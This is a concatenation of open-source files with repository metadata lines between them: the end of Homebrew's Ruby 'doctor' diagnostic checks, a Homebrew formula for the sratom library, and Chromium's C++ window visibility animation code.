affected by this are Git and Narwhal. You should set the "HOMEBREW_TEMP" environmental variable to a suitable directory on the same volume as your Cellar. EOS end end def check_filesystem_case_sensitive volumes = Volumes.new case_sensitive_vols = [HOMEBREW_PREFIX, HOMEBREW_REPOSITORY, HOMEBREW_CELLAR, HOMEBREW_TEMP].select do |dir| # We select the dir as being case-sensitive if either the UPCASED or the # downcased variant is missing. # Of course, on a case-insensitive fs, both exist because the os reports so. # In the rare situation when the user has indeed a downcased and an upcased # dir (e.g. /TMP and /tmp) this check falsely thinks it is case-insensitive # but we don't care beacuse: 1. there is more than one dir checked, 2. the # check is not vital and 3. we would have to touch files otherwise. upcased = Pathname.new(dir.to_s.upcase) downcased = Pathname.new(dir.to_s.downcase) dir.exist? && !(upcased.exist? && downcased.exist?) end.map { |case_sensitive_dir| volumes.get_mounts(case_sensitive_dir) }.uniq return if case_sensitive_vols.empty? <<-EOS.undent The filesystem on #{case_sensitive_vols.join(",")} appears to be case-sensitive. The default OS X filesystem is case-insensitive. Please report any apparent problems. EOS end def __check_git_version # https://help.github.com/articles/https-cloning-errors `git --version`.chomp =~ /git version ((?:\d+\.?)+)/ if $1 and Version.new($1) < Version.new("1.7.10") then <<-EOS.undent An outdated version of Git was detected in your PATH. Git 1.7.10 or newer is required to perform checkouts over HTTPS from GitHub. Please upgrade: brew upgrade git EOS end end def check_for_git if git? __check_git_version else <<-EOS.undent Git could not be found in your PATH. Homebrew uses Git for several internal functions, and some formulae use Git checkouts instead of stable tarballs. You may want to install Git: brew install git EOS end end def check_git_newline_settings return unless git? autocrlf = `git config --get core.autocrlf`.chomp if autocrlf == 'true' then <<-EOS.undent Suspicious Git newline settings found. The detected Git newline settings will cause checkout problems: core.autocrlf = #{autocrlf} If you are not routinely dealing with Windows-based projects, consider removing these by running: `git config --global core.autocrlf input` EOS end end def check_git_origin return unless git? && (HOMEBREW_REPOSITORY/'.git').exist? HOMEBREW_REPOSITORY.cd do origin = `git config --get remote.origin.url`.strip if origin.empty? then <<-EOS.undent Missing git origin remote. Without a correctly configured origin, Homebrew won't update properly. You can solve this by adding the Homebrew remote: cd #{HOMEBREW_REPOSITORY} git remote add origin https://github.com/Homebrew/homebrew.git EOS elsif origin !~ /(mxcl|Homebrew)\/homebrew(\.git)?$/ then <<-EOS.undent Suspicious git origin remote found. With a non-standard origin, Homebrew won't pull updates from the main repository. The current git origin is: #{origin} Unless you have compelling reasons, consider setting the origin remote to point at the main repository, located at: https://github.com/Homebrew/homebrew.git EOS end end end def check_for_autoconf return unless MacOS::Xcode.provides_autotools? autoconf = which('autoconf') safe_autoconfs = %w[/usr/bin/autoconf /Developer/usr/bin/autoconf] unless autoconf.nil? or safe_autoconfs.include? autoconf.to_s then <<-EOS.undent An "autoconf" in your path blocks the Xcode-provided version at: #{autoconf} This custom autoconf may cause some Homebrew formulae to fail to compile. EOS end end def __check_linked_brew f f.rack.subdirs.each do |prefix| prefix.find do |src| next if src == prefix dst = HOMEBREW_PREFIX + src.relative_path_from(prefix) return true if dst.symlink? && src == dst.resolved_path end end false end def check_for_linked_keg_only_brews return unless HOMEBREW_CELLAR.exist? linked = Formula.installed.select { |f| f.keg_only? && __check_linked_brew(f) } unless linked.empty? s = <<-EOS.undent Some keg-only formula are linked into the Cellar. Linking a keg-only formula, such as gettext, into the cellar with `brew link <formula>` will cause other formulae to detect them during the `./configure` step. This may cause problems when compiling those other formulae. Binaries provided by keg-only formulae may override system binaries with other strange results. You may wish to `brew unlink` these brews: EOS linked.each { |f| s << " #{f.full_name}\n" } s end end def check_for_other_frameworks # Other frameworks that are known to cause problems when present %w{expat.framework libexpat.framework libcurl.framework}. map{ |frmwrk| "/Library/Frameworks/#{frmwrk}" }. select{ |frmwrk| File.exist? frmwrk }. map do |frmwrk| <<-EOS.undent #{frmwrk} detected This can be picked up by CMake's build system and likely cause the build to fail. You may need to move this file out of the way to compile CMake. EOS end.join end def check_tmpdir tmpdir = ENV['TMPDIR'] "TMPDIR #{tmpdir.inspect} doesn't exist." unless tmpdir.nil? or File.directory? tmpdir end def check_missing_deps return unless HOMEBREW_CELLAR.exist? missing = Set.new Homebrew.missing_deps(Formula.installed).each_value do |deps| missing.merge(deps) end if missing.any? then <<-EOS.undent Some installed formula are missing dependencies. You should `brew install` the missing dependencies: brew install #{missing.sort_by(&:full_name) * " "} Run `brew missing` for more details. EOS end end def check_git_status return unless git? HOMEBREW_REPOSITORY.cd do unless `git status --untracked-files=all --porcelain -- Library/Homebrew/ 2>/dev/null`.chomp.empty? <<-EOS.undent_________________________________________________________72 You have uncommitted modifications to Homebrew If this a surprise to you, then you should stash these modifications. Stashing returns Homebrew to a pristine state but can be undone should you later need to do so for some reason. cd #{HOMEBREW_LIBRARY} && git stash && git clean -d -f EOS end end end def check_for_enthought_python if which "enpkg" then <<-EOS.undent Enthought Python was found in your PATH. This can cause build problems, as this software installs its own copies of iconv and libxml2 into directories that are picked up by other build systems. EOS end end def check_for_library_python if File.exist?("/Library/Frameworks/Python.framework") then <<-EOS.undent Python is installed at /Library/Frameworks/Python.framework Homebrew only supports building against the System-provided Python or a brewed Python. In particular, Pythons installed to /Library can interfere with other software installs. EOS end end def check_for_old_homebrew_share_python_in_path s = '' ['', '3'].map do |suffix| if paths.include?((HOMEBREW_PREFIX/"share/python#{suffix}").to_s) s += "#{HOMEBREW_PREFIX}/share/python#{suffix} is not needed in PATH.\n" end end unless s.empty? s += <<-EOS.undent Formerly homebrew put Python scripts you installed via `pip` or `pip3` (or `easy_install`) into that directory above but now it can be removed from your PATH variable. Python scripts will now install into #{HOMEBREW_PREFIX}/bin. You can delete anything, except 'Extras', from the #{HOMEBREW_PREFIX}/share/python (and #{HOMEBREW_PREFIX}/share/python3) dir and install affected Python packages anew with `pip install --upgrade`. EOS end end def check_for_bad_python_symlink return unless which "python" `python -V 2>&1` =~ /Python (\d+)\./ # This won't be the right warning if we matched nothing at all return if $1.nil? unless $1 == "2" then <<-EOS.undent python is symlinked to python#$1 This will confuse build scripts and in general lead to subtle breakage. EOS end end def check_for_non_prefixed_coreutils gnubin = "#{Formulary.factory('coreutils').prefix}/libexec/gnubin" if paths.include? gnubin then <<-EOS.undent Putting non-prefixed coreutils in your path can cause gmp builds to fail. EOS end end def check_for_non_prefixed_findutils default_names = Tab.for_name('findutils').with? "default-names" if default_names then <<-EOS.undent Putting non-prefixed findutils in your path can cause python builds to fail. EOS end end def check_for_pydistutils_cfg_in_home if File.exist? "#{ENV['HOME']}/.pydistutils.cfg" then <<-EOS.undent A .pydistutils.cfg file was found in $HOME, which may cause Python builds to fail. See: https://bugs.python.org/issue6138 https://bugs.python.org/issue4655 EOS end end def check_for_outdated_homebrew return unless git? HOMEBREW_REPOSITORY.cd do if File.directory? ".git" local = `git rev-parse -q --verify refs/remotes/origin/master`.chomp remote = /^([a-f0-9]{40})/.match(`git ls-remote origin refs/heads/master 2>/dev/null`) if remote.nil? || local == remote[0] return end end timestamp = if File.directory? ".git" `git log -1 --format="%ct" HEAD`.to_i else HOMEBREW_LIBRARY.mtime.to_i end if Time.now.to_i - timestamp > 60 * 60 * 24 then <<-EOS.undent Your Homebrew is outdated. You haven't updated for at least 24 hours. This is a long time in brewland! To update Homebrew, run `brew update`. EOS end end end def check_for_unlinked_but_not_keg_only return unless HOMEBREW_CELLAR.exist? unlinked = HOMEBREW_CELLAR.children.reject do |rack| if not rack.directory? true elsif not (HOMEBREW_REPOSITORY/"Library/LinkedKegs"/rack.basename).directory? begin Formulary.from_rack(rack).keg_only? rescue FormulaUnavailableError, TapFormulaAmbiguityError false end else true end end.map{ |pn| pn.basename } if not unlinked.empty? then <<-EOS.undent You have unlinked kegs in your Cellar Leaving kegs unlinked can lead to build-trouble and cause brews that depend on those kegs to fail to run properly once built. Run `brew link` on these: #{unlinked * "\n "} EOS end end def check_xcode_license_approved # If the user installs Xcode-only, they have to approve the # license or no "xc*" tool will work. if `/usr/bin/xcrun clang 2>&1` =~ /license/ and not $?.success? then <<-EOS.undent You have not agreed to the Xcode license. Builds will fail! Agree to the license by opening Xcode.app or running: sudo xcodebuild -license EOS end end def check_for_latest_xquartz return unless MacOS::XQuartz.version return if MacOS::XQuartz.provided_by_apple? installed_version = Version.new(MacOS::XQuartz.version) latest_version = Version.new(MacOS::XQuartz.latest_version) return if installed_version >= latest_version <<-EOS.undent Your XQuartz (#{installed_version}) is outdated Please install XQuartz #{latest_version}: https://xquartz.macosforge.org EOS end def check_for_old_env_vars if ENV["HOMEBREW_KEEP_INFO"] <<-EOS.undent `HOMEBREW_KEEP_INFO` is no longer used info files are no longer deleted by default; you may remove this environment variable. EOS end end def check_for_pth_support homebrew_site_packages = Language::Python.homebrew_site_packages return unless homebrew_site_packages.directory? return if Language::Python.reads_brewed_pth_files?("python") != false return unless Language::Python.in_sys_path?("python", homebrew_site_packages) user_site_packages = Language::Python.user_site_packages "python" <<-EOS.undent Your default Python does not recognize the Homebrew site-packages directory as a special site-packages directory, which means that .pth files will not be followed. This means you will not be able to import some modules after installing them with Homebrew, like wxpython. To fix this for the current user, you can run: mkdir -p #{user_site_packages} echo 'import site; site.addsitedir("#{homebrew_site_packages}")' >> #{user_site_packages}/homebrew.pth EOS end def check_for_external_cmd_name_conflict cmds = paths.map { |p| Dir["#{p}/brew-*"] }.flatten.uniq cmds = cmds.select { |cmd| File.file?(cmd) && File.executable?(cmd) } cmd_map = {} cmds.each do |cmd| cmd_name = File.basename(cmd, ".rb") cmd_map[cmd_name] ||= [] cmd_map[cmd_name] << cmd end cmd_map.reject! { |cmd_name, cmd_paths| cmd_paths.size == 1 } return if cmd_map.empty? s = "You have external commands with conflicting names." cmd_map.each do |cmd_name, cmd_paths| s += "\n\nFound command `#{cmd_name}` in following places:\n" s += cmd_paths.map { |f| " #{f}" }.join("\n") end s end def all methods.map(&:to_s).grep(/^check_/) end end # end class Checks module Homebrew def doctor checks = Checks.new if ARGV.include? '--list-checks' puts checks.all.sort exit end inject_dump_stats(checks) if ARGV.switch? 'D' if ARGV.named.empty? methods = checks.all.sort methods << "check_for_linked_keg_only_brews" << "check_for_outdated_homebrew" methods = methods.reverse.uniq.reverse else methods = ARGV.named end first_warning = true methods.each do |method| begin out = checks.send(method) rescue NoMethodError Homebrew.failed = true puts "No check available by the name: #{method}" next end unless out.nil? or out.empty? if first_warning puts <<-EOS.undent #{Tty.white}Please note that these warnings are just used to help the Homebrew maintainers with debugging if you file an issue. If everything you use Homebrew for is working fine: please don't worry and just ignore them. Thanks!#{Tty.reset} EOS end puts opoo out Homebrew.failed = true first_warning = false end end puts "Your system is ready to brew." unless Homebrew.failed? end def inject_dump_stats checks checks.extend Module.new { def send(method, *) time = Time.now super ensure $times[method] = Time.now - time end } $times = {} at_exit { puts $times.sort_by{|k, v| v }.map{|k, v| "#{k}: #{v}"} } end end
bsd-2-clause
robrix/homebrew
Library/Formula/sratom.rb
738
require 'formula' class Sratom < Formula homepage 'http://drobilla.net/software/sratom/' url 'http://download.drobilla.net/sratom-0.4.6.tar.bz2' sha1 '5f7d18e4917e5a2fee6eedc6ae06aa72d47fa52a' bottle do cellar :any sha256 "9023b8427d0e4068c7ca9e9a66a18545c51af3e30fcf9566db74aacceff18d2b" => :yosemite sha256 "9720a29b9fc95760edc5d96a36d89fee9a44403e0ce1cbe76fbf4a805c8c9571" => :mavericks sha256 "4b2acde2a46119ac0d6ae10a0d161b5f644e507296f44defc036ab311d93cf27" => :mountain_lion end depends_on 'pkg-config' => :build depends_on 'lv2' depends_on 'serd' depends_on 'sord' def install system "./waf", "configure", "--prefix=#{prefix}" system "./waf" system "./waf", "install" end end
bsd-2-clause
DirtyUnicorns/android_external_chromium-org
ui/views/corewm/window_animations.cc
21476
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/views/corewm/window_animations.h" #include <math.h> #include <algorithm> #include <vector> #include "base/command_line.h" #include "base/compiler_specific.h" #include "base/logging.h" #include "base/message_loop/message_loop.h" #include "base/stl_util.h" #include "base/time/time.h" #include "ui/aura/client/animation_host.h" #include "ui/aura/client/aura_constants.h" #include "ui/aura/window.h" #include "ui/aura/window_delegate.h" #include "ui/aura/window_observer.h" #include "ui/aura/window_property.h" #include "ui/compositor/compositor_observer.h" #include "ui/compositor/layer.h" #include "ui/compositor/layer_animation_observer.h" #include "ui/compositor/layer_animation_sequence.h" #include "ui/compositor/layer_animator.h" #include "ui/compositor/scoped_layer_animation_settings.h" #include "ui/gfx/interpolated_transform.h" #include "ui/gfx/rect_conversions.h" #include "ui/gfx/screen.h" #include "ui/gfx/vector2d.h" #include "ui/gfx/vector3d_f.h" #include "ui/views/corewm/corewm_switches.h" #include "ui/views/corewm/window_util.h" #include "ui/views/view.h" #include "ui/views/widget/widget.h" DECLARE_WINDOW_PROPERTY_TYPE(int) DECLARE_WINDOW_PROPERTY_TYPE(views::corewm::WindowVisibilityAnimationType) DECLARE_WINDOW_PROPERTY_TYPE(views::corewm::WindowVisibilityAnimationTransition) DECLARE_WINDOW_PROPERTY_TYPE(float) DECLARE_EXPORTED_WINDOW_PROPERTY_TYPE(VIEWS_EXPORT, bool) using aura::Window; using base::TimeDelta; using ui::Layer; namespace views { namespace corewm { namespace { const float kWindowAnimation_Vertical_TranslateY = 15.f; } // namespace DEFINE_WINDOW_PROPERTY_KEY(int, kWindowVisibilityAnimationTypeKey, WINDOW_VISIBILITY_ANIMATION_TYPE_DEFAULT); DEFINE_WINDOW_PROPERTY_KEY(int, kWindowVisibilityAnimationDurationKey, 0); DEFINE_WINDOW_PROPERTY_KEY(WindowVisibilityAnimationTransition, kWindowVisibilityAnimationTransitionKey, ANIMATE_BOTH); DEFINE_WINDOW_PROPERTY_KEY(float, kWindowVisibilityAnimationVerticalPositionKey, kWindowAnimation_Vertical_TranslateY); namespace { const int kDefaultAnimationDurationForMenuMS = 150; const float kWindowAnimation_HideOpacity = 0.f; const float kWindowAnimation_ShowOpacity = 1.f; const float kWindowAnimation_TranslateFactor = 0.5f; const float kWindowAnimation_ScaleFactor = .95f; const int kWindowAnimation_Rotate_DurationMS = 180; const int kWindowAnimation_Rotate_OpacityDurationPercent = 90; const float kWindowAnimation_Rotate_TranslateY = -20.f; const float kWindowAnimation_Rotate_PerspectiveDepth = 500.f; const float kWindowAnimation_Rotate_DegreesX = 5.f; const float kWindowAnimation_Rotate_ScaleFactor = .99f; const float kWindowAnimation_Bounce_Scale = 1.02f; const int kWindowAnimation_Bounce_DurationMS = 180; const int kWindowAnimation_Bounce_GrowShrinkDurationPercent = 40; base::TimeDelta GetWindowVisibilityAnimationDuration(aura::Window* window) { int duration = window->GetProperty(kWindowVisibilityAnimationDurationKey); if (duration == 0 && window->type() == aura::client::WINDOW_TYPE_MENU) { return base::TimeDelta::FromMilliseconds( kDefaultAnimationDurationForMenuMS); } return TimeDelta::FromInternalValue(duration); } // Gets/sets the WindowVisibilityAnimationType associated with a window. // TODO(beng): redundant/fold into method on public api? int GetWindowVisibilityAnimationType(aura::Window* window) { int type = window->GetProperty(kWindowVisibilityAnimationTypeKey); if (type == WINDOW_VISIBILITY_ANIMATION_TYPE_DEFAULT) { return (window->type() == aura::client::WINDOW_TYPE_MENU || window->type() == aura::client::WINDOW_TYPE_TOOLTIP) ? WINDOW_VISIBILITY_ANIMATION_TYPE_FADE : WINDOW_VISIBILITY_ANIMATION_TYPE_DROP; } return type; } // Observes a hide animation. // A window can be hidden for a variety of reasons. Sometimes, Hide() will be // called and life is simple. Sometimes, the window is actually bound to a // views::Widget and that Widget is closed, and life is a little more // complicated. When a Widget is closed the aura::Window* is actually not // destroyed immediately - it is actually just immediately hidden and then // destroyed when the stack unwinds. To handle this case, we start the hide // animation immediately when the window is hidden, then when the window is // subsequently destroyed this object acquires ownership of the window's layer, // so that it can continue animating it until the animation completes. // Regardless of whether or not the window is destroyed, this object deletes // itself when the animation completes. class HidingWindowAnimationObserver : public ui::ImplicitAnimationObserver, public aura::WindowObserver { public: explicit HidingWindowAnimationObserver(aura::Window* window) : window_(window) { window_->AddObserver(this); } virtual ~HidingWindowAnimationObserver() { STLDeleteElements(&layers_); } private: // Overridden from ui::ImplicitAnimationObserver: virtual void OnImplicitAnimationsCompleted() OVERRIDE { // Window may have been destroyed by this point. if (window_) { aura::client::AnimationHost* animation_host = aura::client::GetAnimationHost(window_); if (animation_host) animation_host->OnWindowHidingAnimationCompleted(); window_->RemoveObserver(this); } delete this; } // Overridden from aura::WindowObserver: virtual void OnWindowDestroying(aura::Window* window) OVERRIDE { DCHECK_EQ(window, window_); DCHECK(layers_.empty()); AcquireAllLayers(window_); // If the Widget has views with layers, then it is necessary to take // ownership of those layers too. views::Widget* widget = views::Widget::GetWidgetForNativeWindow(window_); const views::Widget* const_widget = widget; if (widget && const_widget->GetRootView() && widget->GetContentsView()) AcquireAllViewLayers(widget->GetContentsView()); window_->RemoveObserver(this); window_ = NULL; } void AcquireAllLayers(aura::Window* window) { ui::Layer* layer = window->AcquireLayer(); DCHECK(layer); layers_.push_back(layer); for (aura::Window::Windows::const_iterator it = window->children().begin(); it != window->children().end(); ++it) AcquireAllLayers(*it); } void AcquireAllViewLayers(views::View* view) { for (int i = 0; i < view->child_count(); ++i) AcquireAllViewLayers(view->child_at(i)); if (view->layer()) { ui::Layer* layer = view->RecreateLayer(); if (layer) { layer->SuppressPaint(); layers_.push_back(layer); } } } aura::Window* window_; std::vector<ui::Layer*> layers_; DISALLOW_COPY_AND_ASSIGN(HidingWindowAnimationObserver); }; void GetTransformRelativeToRoot(ui::Layer* layer, gfx::Transform* transform) { const Layer* root = layer; while (root->parent()) root = root->parent(); layer->GetTargetTransformRelativeTo(root, transform); } gfx::Rect GetLayerWorldBoundsAfterTransform(ui::Layer* layer, const gfx::Transform& transform) { gfx::Transform in_world = transform; GetTransformRelativeToRoot(layer, &in_world); gfx::RectF transformed = layer->bounds(); in_world.TransformRect(&transformed); return gfx::ToEnclosingRect(transformed); } // Augment the host window so that the enclosing bounds of the full // animation will fit inside of it. void AugmentWindowSize(aura::Window* window, const gfx::Transform& end_transform) { aura::client::AnimationHost* animation_host = aura::client::GetAnimationHost(window); if (!animation_host) return; const gfx::Rect& world_at_start = window->bounds(); gfx::Rect world_at_end = GetLayerWorldBoundsAfterTransform(window->layer(), end_transform); gfx::Rect union_in_window_space = gfx::UnionRects(world_at_start, world_at_end); // Calculate the top left and bottom right deltas to be added to the window // bounds. gfx::Vector2d top_left_delta(world_at_start.x() - union_in_window_space.x(), world_at_start.y() - union_in_window_space.y()); gfx::Vector2d bottom_right_delta( union_in_window_space.x() + union_in_window_space.width() - (world_at_start.x() + world_at_start.width()), union_in_window_space.y() + union_in_window_space.height() - (world_at_start.y() + world_at_start.height())); DCHECK(top_left_delta.x() >= 0 && top_left_delta.y() >= 0 && bottom_right_delta.x() >= 0 && bottom_right_delta.y() >= 0); animation_host->SetHostTransitionOffsets(top_left_delta, bottom_right_delta); } // Shows a window using an animation, animating its opacity from 0.f to 1.f, // its visibility to true, and its transform from |start_transform| to // |end_transform|. void AnimateShowWindowCommon(aura::Window* window, const gfx::Transform& start_transform, const gfx::Transform& end_transform) { window->layer()->set_delegate(window); AugmentWindowSize(window, end_transform); window->layer()->SetOpacity(kWindowAnimation_HideOpacity); window->layer()->SetTransform(start_transform); window->layer()->SetVisible(true); { // Property sets within this scope will be implicitly animated. ui::ScopedLayerAnimationSettings settings(window->layer()->GetAnimator()); base::TimeDelta duration = GetWindowVisibilityAnimationDuration(window); if (duration.ToInternalValue() > 0) settings.SetTransitionDuration(duration); window->layer()->SetTransform(end_transform); window->layer()->SetOpacity(kWindowAnimation_ShowOpacity); } } // Hides a window using an animation, animating its opacity from 1.f to 0.f, // its visibility to false, and its transform to |end_transform|. void AnimateHideWindowCommon(aura::Window* window, const gfx::Transform& end_transform) { AugmentWindowSize(window, end_transform); window->layer()->set_delegate(NULL); // Property sets within this scope will be implicitly animated. ui::ScopedLayerAnimationSettings settings(window->layer()->GetAnimator()); settings.AddObserver(new HidingWindowAnimationObserver(window)); base::TimeDelta duration = GetWindowVisibilityAnimationDuration(window); if (duration.ToInternalValue() > 0) settings.SetTransitionDuration(duration); window->layer()->SetOpacity(kWindowAnimation_HideOpacity); window->layer()->SetTransform(end_transform); window->layer()->SetVisible(false); } static gfx::Transform GetScaleForWindow(aura::Window* window) { gfx::Rect bounds = window->bounds(); gfx::Transform scale = gfx::GetScaleTransform( gfx::Point(kWindowAnimation_TranslateFactor * bounds.width(), kWindowAnimation_TranslateFactor * bounds.height()), kWindowAnimation_ScaleFactor); return scale; } // Show/Hide windows using a shrink animation. void AnimateShowWindow_Drop(aura::Window* window) { AnimateShowWindowCommon(window, GetScaleForWindow(window), gfx::Transform()); } void AnimateHideWindow_Drop(aura::Window* window) { AnimateHideWindowCommon(window, GetScaleForWindow(window)); } // Show/Hide windows using a vertical Glenimation. void AnimateShowWindow_Vertical(aura::Window* window) { gfx::Transform transform; transform.Translate(0, window->GetProperty( kWindowVisibilityAnimationVerticalPositionKey)); AnimateShowWindowCommon(window, transform, gfx::Transform()); } void AnimateHideWindow_Vertical(aura::Window* window) { gfx::Transform transform; transform.Translate(0, window->GetProperty( kWindowVisibilityAnimationVerticalPositionKey)); AnimateHideWindowCommon(window, transform); } // Show/Hide windows using a fade. void AnimateShowWindow_Fade(aura::Window* window) { AnimateShowWindowCommon(window, gfx::Transform(), gfx::Transform()); } void AnimateHideWindow_Fade(aura::Window* window) { AnimateHideWindowCommon(window, gfx::Transform()); } ui::LayerAnimationElement* CreateGrowShrinkElement( aura::Window* window, bool grow) { scoped_ptr<ui::InterpolatedTransform> scale(new ui::InterpolatedScale( gfx::Point3F(kWindowAnimation_Bounce_Scale, kWindowAnimation_Bounce_Scale, 1), gfx::Point3F(1, 1, 1))); scoped_ptr<ui::InterpolatedTransform> scale_about_pivot( new ui::InterpolatedTransformAboutPivot( gfx::Point(window->bounds().width() * 0.5, window->bounds().height() * 0.5), scale.release())); scale_about_pivot->SetReversed(grow); scoped_ptr<ui::LayerAnimationElement> transition( ui::LayerAnimationElement::CreateInterpolatedTransformElement( scale_about_pivot.release(), base::TimeDelta::FromMilliseconds( kWindowAnimation_Bounce_DurationMS * kWindowAnimation_Bounce_GrowShrinkDurationPercent / 100))); transition->set_tween_type(grow ? gfx::Tween::EASE_OUT : gfx::Tween::EASE_IN); return transition.release(); } void AnimateBounce(aura::Window* window) { ui::ScopedLayerAnimationSettings scoped_settings( window->layer()->GetAnimator()); scoped_settings.SetPreemptionStrategy( ui::LayerAnimator::REPLACE_QUEUED_ANIMATIONS); window->layer()->set_delegate(window); scoped_ptr<ui::LayerAnimationSequence> sequence( new ui::LayerAnimationSequence); sequence->AddElement(CreateGrowShrinkElement(window, true)); ui::LayerAnimationElement::AnimatableProperties paused_properties; paused_properties.insert(ui::LayerAnimationElement::BOUNDS); sequence->AddElement(ui::LayerAnimationElement::CreatePauseElement( paused_properties, base::TimeDelta::FromMilliseconds( kWindowAnimation_Bounce_DurationMS * (100 - 2 * kWindowAnimation_Bounce_GrowShrinkDurationPercent) / 100))); sequence->AddElement(CreateGrowShrinkElement(window, false)); window->layer()->GetAnimator()->StartAnimation(sequence.release()); } void AddLayerAnimationsForRotate(aura::Window* window, bool show) { window->layer()->set_delegate(window); if (show) window->layer()->SetOpacity(kWindowAnimation_HideOpacity); base::TimeDelta duration = base::TimeDelta::FromMilliseconds( kWindowAnimation_Rotate_DurationMS); if (!show) { new HidingWindowAnimationObserver(window); window->layer()->GetAnimator()->SchedulePauseForProperties( duration * (100 - kWindowAnimation_Rotate_OpacityDurationPercent) / 100, ui::LayerAnimationElement::OPACITY, -1); } scoped_ptr<ui::LayerAnimationElement> opacity( ui::LayerAnimationElement::CreateOpacityElement( show ? kWindowAnimation_ShowOpacity : kWindowAnimation_HideOpacity, duration * kWindowAnimation_Rotate_OpacityDurationPercent / 100)); opacity->set_tween_type(gfx::Tween::EASE_IN_OUT); window->layer()->GetAnimator()->ScheduleAnimation( new ui::LayerAnimationSequence(opacity.release())); float xcenter = window->bounds().width() * 0.5; gfx::Transform transform; transform.Translate(xcenter, 0); transform.ApplyPerspectiveDepth(kWindowAnimation_Rotate_PerspectiveDepth); transform.Translate(-xcenter, 0); scoped_ptr<ui::InterpolatedTransform> perspective( new ui::InterpolatedConstantTransform(transform)); scoped_ptr<ui::InterpolatedTransform> scale( new ui::InterpolatedScale(1, kWindowAnimation_Rotate_ScaleFactor)); scoped_ptr<ui::InterpolatedTransform> scale_about_pivot( new ui::InterpolatedTransformAboutPivot( gfx::Point(xcenter, kWindowAnimation_Rotate_TranslateY), scale.release())); scoped_ptr<ui::InterpolatedTransform> translation( new ui::InterpolatedTranslation(gfx::Point(), gfx::Point( 0, kWindowAnimation_Rotate_TranslateY))); scoped_ptr<ui::InterpolatedTransform> rotation( new ui::InterpolatedAxisAngleRotation( gfx::Vector3dF(1, 0, 0), 0, kWindowAnimation_Rotate_DegreesX)); scale_about_pivot->SetChild(perspective.release()); translation->SetChild(scale_about_pivot.release()); rotation->SetChild(translation.release()); rotation->SetReversed(show); scoped_ptr<ui::LayerAnimationElement> transition( ui::LayerAnimationElement::CreateInterpolatedTransformElement( rotation.release(), duration)); window->layer()->GetAnimator()->ScheduleAnimation( new ui::LayerAnimationSequence(transition.release())); } void AnimateShowWindow_Rotate(aura::Window* window) { AddLayerAnimationsForRotate(window, true); } void AnimateHideWindow_Rotate(aura::Window* window) { AddLayerAnimationsForRotate(window, false); } bool AnimateShowWindow(aura::Window* window) { if (!HasWindowVisibilityAnimationTransition(window, ANIMATE_SHOW)) { if (HasWindowVisibilityAnimationTransition(window, ANIMATE_HIDE)) { // Since hide animation may have changed opacity and transform, // reset them to show the window. window->layer()->set_delegate(window); window->layer()->SetOpacity(kWindowAnimation_ShowOpacity); window->layer()->SetTransform(gfx::Transform()); } return false; } switch (GetWindowVisibilityAnimationType(window)) { case WINDOW_VISIBILITY_ANIMATION_TYPE_DROP: AnimateShowWindow_Drop(window); return true; case WINDOW_VISIBILITY_ANIMATION_TYPE_VERTICAL: AnimateShowWindow_Vertical(window); return true; case WINDOW_VISIBILITY_ANIMATION_TYPE_FADE: AnimateShowWindow_Fade(window); return true; case WINDOW_VISIBILITY_ANIMATION_TYPE_ROTATE: AnimateShowWindow_Rotate(window); return true; default: return false; } } bool AnimateHideWindow(aura::Window* window) { if (!HasWindowVisibilityAnimationTransition(window, ANIMATE_HIDE)) { if (HasWindowVisibilityAnimationTransition(window, ANIMATE_SHOW)) { // Since show animation may have changed opacity and transform, // reset them, though the change should be hidden. window->layer()->set_delegate(NULL); window->layer()->SetOpacity(kWindowAnimation_HideOpacity); window->layer()->SetTransform(gfx::Transform()); } return false; } switch (GetWindowVisibilityAnimationType(window)) { case WINDOW_VISIBILITY_ANIMATION_TYPE_DROP: AnimateHideWindow_Drop(window); return true; case WINDOW_VISIBILITY_ANIMATION_TYPE_VERTICAL: AnimateHideWindow_Vertical(window); return true; case WINDOW_VISIBILITY_ANIMATION_TYPE_FADE: AnimateHideWindow_Fade(window); return true; case WINDOW_VISIBILITY_ANIMATION_TYPE_ROTATE: AnimateHideWindow_Rotate(window); return true; default: return false; } } } // namespace //////////////////////////////////////////////////////////////////////////////// // External interface void SetWindowVisibilityAnimationType(aura::Window* window, int type) { window->SetProperty(kWindowVisibilityAnimationTypeKey, type); } int GetWindowVisibilityAnimationType(aura::Window* window) { return window->GetProperty(kWindowVisibilityAnimationTypeKey); } void SetWindowVisibilityAnimationTransition( aura::Window* window, WindowVisibilityAnimationTransition transition) { window->SetProperty(kWindowVisibilityAnimationTransitionKey, transition); } bool HasWindowVisibilityAnimationTransition( aura::Window* window, WindowVisibilityAnimationTransition transition) { WindowVisibilityAnimationTransition prop = window->GetProperty( kWindowVisibilityAnimationTransitionKey); return (prop & transition) != 0; } void SetWindowVisibilityAnimationDuration(aura::Window* window, const TimeDelta& duration) { window->SetProperty(kWindowVisibilityAnimationDurationKey, static_cast<int>(duration.ToInternalValue())); } void SetWindowVisibilityAnimationVerticalPosition(aura::Window* window, float position) { window->SetProperty(kWindowVisibilityAnimationVerticalPositionKey, position); } ui::ImplicitAnimationObserver* CreateHidingWindowAnimationObserver( aura::Window* window) { return new HidingWindowAnimationObserver(window); } bool AnimateOnChildWindowVisibilityChanged(aura::Window* window, bool visible) { if (WindowAnimationsDisabled(window)) return false; if (visible) return AnimateShowWindow(window); // Don't start hiding the window again if it's already being hidden. return window->layer()->GetTargetOpacity() != 0.0f && AnimateHideWindow(window); } bool AnimateWindow(aura::Window* window, WindowAnimationType type) { switch (type) { case WINDOW_ANIMATION_TYPE_BOUNCE: AnimateBounce(window); return true; default: NOTREACHED(); return false; } } bool WindowAnimationsDisabled(aura::Window* window) { return (window && window->GetProperty(aura::client::kAnimationsDisabledKey)) || CommandLine::ForCurrentProcess()->HasSwitch( switches::kWindowAnimationsDisabled); } } // namespace corewm } // namespace views
bsd-3-clause
androidarmv6/android_external_chromium_org
chrome/browser/password_manager/native_backend_gnome_x.h
4543
